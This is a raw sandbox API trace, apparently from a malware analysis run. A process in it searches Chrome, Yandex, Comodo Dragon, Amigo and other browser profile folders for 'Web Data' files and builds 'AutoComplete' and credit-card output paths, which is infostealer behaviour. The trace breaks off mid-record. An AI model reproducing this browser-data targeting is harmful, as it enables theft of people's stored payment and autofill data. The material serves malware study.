NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.902] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Browsers\\AutoComplete\\GoogleChrome_Default_CC.txt", cchWideChar=49, lpMultiByteStr=0x1e7de750, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Browsers\\AutoComplete\\GoogleChrome_Default_CC.txtç}\x1e\x05", lpUsedDefaultChar=0x0) returned 49 [0163.902] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.902] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVWhitelist", cAlternateFileName="EVWHIT~1")) returned 1 [0163.902] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.903] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴ṽ\x05") returned 8 [0163.903] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.903] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\EVWhitelist\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\evwhitelist\\web data")) returned 0xffffffff [0163.904] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1 [0163.904] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴ṽ\x05") returned 8 [0163.904] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\FileTypePolicies\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\filetypepolicies\\web data")) returned 0xffffffff [0163.904] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb057460, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb057460, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb057460, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1 [0163.904] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴ṽ\x05") returned 8 [0163.904] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\First Run\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\first run\\web data")) returned 0xffffffff [0163.904] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda67d40, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xda67d40, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xdcf1bb0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x10ed9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local State", cAlternateFileName="LOCALS~1")) returned 1 [0163.904] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴ṽ\x05") returned 8 [0163.905] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Local State\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\local state\\web data")) returned 0xffffffff [0163.905] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginTrials", cAlternateFileName="ORIGIN~1")) returned 1 [0163.905] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴ṽ\x05") returned 8 [0163.905] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\OriginTrials\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\origintrials\\web data")) returned 0xffffffff [0163.905] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PepperFlash", cAlternateFileName="PEPPER~1")) returned 1 [0163.905] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴ṽ\x05") returned 8 [0163.905] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\PepperFlash\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\pepperflash\\web data")) returned 0xffffffff [0163.905] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc083690, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xc083690, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xc083690, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pnacl", cAlternateFileName="")) returned 1 [0163.905] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴ṽ\x05") returned 8 [0163.906] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\pnacl\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\pnacl\\web data")) returned 0xffffffff [0163.906] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSLErrorAssistant", cAlternateFileName="SSLERR~1")) returned 1 [0163.906] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴ṽ\x05") returned 8 [0163.906] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\SSLErrorAssistant\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\sslerrorassistant\\web data")) returned 0xffffffff [0163.906] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SwReporter", cAlternateFileName="SWREPO~1")) returned 1 [0163.906] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴ṽ\x05") returned 8 [0163.906] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\SwReporter\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\swreporter\\web data")) returned 0xffffffff [0163.906] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0163.906] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴ṽ\x05") returned 8 [0163.907] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\WidevineCdm\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\widevinecdm\\web data")) returned 0xffffffff [0163.907] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0163.907] FindClose (in: hFindFile=0x1e258c88 | out: hFindFile=0x1e258c88) returned 1 [0163.907] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf29d0, cbMultiByte=14, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="GoogleChrome64") returned 14 [0163.907] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf08dc, cbMultiByte=43, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Google\\Chrome SxS\\User Data\\ῦ") returned 43 [0163.907] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.908] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Google\\Chrome SxS\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\") returned 0x3d [0163.908] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoCompleteome SxS\\User Data\\ῦ") returned 21 [0163.908] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.908] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴ṽ\x05") returned 8 [0163.908] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome sxs\\user data\\web data")) returned 0xffffffff [0163.908] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.908] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.909] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2b04, cbMultiByte=14, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="InternetMailRuoCompleteome SxS\\User Data\\ῦ") returned 14 [0163.909] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf09ac, cbMultiByte=30, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Xpom\\User Data\\xS\\User Data\\ῦ") returned 30 [0163.909] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Xpom\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Xpom\\User Data\\") returned 0x30 [0163.909] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoCompleteData\\xS\\User Data\\ῦ") returned 21 [0163.909] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Xpom\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.909] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴ṽ\x05") returned 8 [0163.909] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Xpom\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\xpom\\user data\\web data")) returned 0xffffffff [0163.909] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.909] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.909] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2c3c, cbMultiByte=13, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="YandexBrowsertoCompleteData\\xS\\User Data\\ῦ") returned 13 [0163.910] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0a74, cbMultiByte=46, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data\\ṽ鵎瑰\x04") returned 46 [0163.910] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\") returned 0x40 [0163.910] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoCompletedexBrowser\\User Data\\ṽ鵎瑰\x04") returned 21 [0163.910] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.910] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴ṽ\x05") returned 8 [0163.910] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\yandex\\yandexbrowser\\user data\\web data")) returned 0xffffffff [0163.910] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.910] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.910] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2d78, cbMultiByte=12, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="ComodoDragonutoCompletedexBrowser\\User Data\\ṽ鵎瑰\x04") returned 12 [0163.910] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0b50, cbMultiByte=39, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Comodo\\Dragon\\User Data\\r Data\\ṽ鵎瑰\x04") returned 39 [0163.911] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Comodo\\Dragon\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Comodo\\Dragon\\User Data\\") returned 0x39 [0163.911] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoCompletegon\\User Data\\r Data\\ṽ鵎瑰\x04") returned 21 [0163.911] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.911] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴ṽ\x05") returned 8 [0163.911] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\comodo\\dragon\\user data\\web data")) returned 0xffffffff [0163.911] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.911] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.911] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2eb8, cbMultiByte=5, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="Amigowsers\\AutoCompletegon\\User Data\\r Data\\ṽ鵎瑰\x04") returned 5 [0163.911] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0c28, cbMultiByte=31, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Amigo\\User Data\\er Data\\r Data\\ṽ鵎瑰\x04") returned 31 [0163.912] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Amigo\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Amigo\\User Data\\") returned 0x31 [0163.912] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoComplete Data\\er Data\\r Data\\ṽ鵎瑰\x04") returned 21 [0163.912] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Amigo\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, 